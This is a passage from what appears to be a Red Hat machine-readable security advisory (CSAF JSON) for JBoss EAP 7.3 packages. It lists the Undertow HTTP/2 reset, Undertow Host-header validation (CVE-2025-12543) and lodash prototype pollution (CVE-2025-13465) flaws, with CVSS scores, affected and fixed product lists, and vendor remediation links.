"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "undertow: Undertow MadeYouReset HTTP/2 DDoS Vulnerability"
},
{
"acknowledgments": [
{
"names": [
"Ahmet Artu\u00e7"
]
}
],
"cve": "CVE-2025-12543",
"cwe": {
"id": "CWE-20",
"name": "Improper Input Validation"
},
"discovery_date": "2025-10-31T06:15:35.424000+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2408784"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the Undertow HTTP server core, which is used in WildFly, JBoss EAP, and other Java applications. The Undertow library fails to properly validate the Host header in incoming HTTP requests.As a result, requests containing malformed or malicious Host headers are processed without rejection, enabling attackers to poison caches, perform internal network scans, or hijack user sessions.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "undertow-core: Undertow HTTP Server Fails to Reject Malformed Host Headers Leading to Potential Cache Poisoning and SSRF",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability has an Important severity because it can be remotely exploited without authentication. However, limited user interaction is required for full impact. It could allow attackers to hijack additional accounts, steal credentials, or gain access to internal systems. The issue stems from improper input validation of HTTP Host headers, leading to serious breaches in confidentiality and integrity.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
],
"known_not_affected": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-12543"
},
{
"category": "external",
"summary": "RHBZ#2408784",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2408784"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-12543",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12543"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-12543",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12543"
}
],
"release_date": "2026-01-08T00:00:00+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-30T00:13:50+00:00",
"details": "Before applying this update, ensure all previously released errata relevant to your system have been applied. Also, back up your existing installation, including all applications, configuration files, databases and database settings. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:33371"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use, applicability, or stability.",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 9.6,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L",
"version": "3.1"
},
"products": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "undertow-core: Undertow HTTP Server Fails to Reject Malformed Host Headers Leading to Potential Cache Poisoning and SSRF"
},
{
"cve": "CVE-2025-13465",
"cwe": {
"id": "CWE-1321",
"name": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)"
},
"discovery_date": "2026-01-21T20:01:28.774829+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2431740"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Lodash. A prototype pollution vulnerability in the _.unset and _.omit functions allows an attacker able to control property paths to delete methods from global prototypes. By removing essential functionalities, this can result in a denial of service.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "lodash: prototype pollution in _.unset and _.omit functions",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This issue is only exploitable by applications using the _.unset and _.omit functions on an object and allowing user input to determine the path of the property to be removed. This issue only allows the deletion of properties but does not allow overwriting their behavior, limiting the impact to a denial of service. Due to this reason, this vulnerability has been rated with an important severity.\n\nIn Grafana, JavaScript code runs only in the browser, while the server side is all Golang. Therefore, the worst-case scenario is a loss of functionality in the client application inside the browser. To reflect this, the CVSS availability metric and the severity of the Grafana and the Grafana-PCP component have been updated to low and moderate, respectively.\n\nThe lodash dependency is bundled and used by the pcs-web-ui component of the PCS package. In Red Hat Enterprise Linux 8.10, the pcs-web-ui component is no longer included in the PCS package. As a result, RHEL 8.10 does not ship the vulnerable lodash component within PCS and is therefore not-affected by this CVE.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
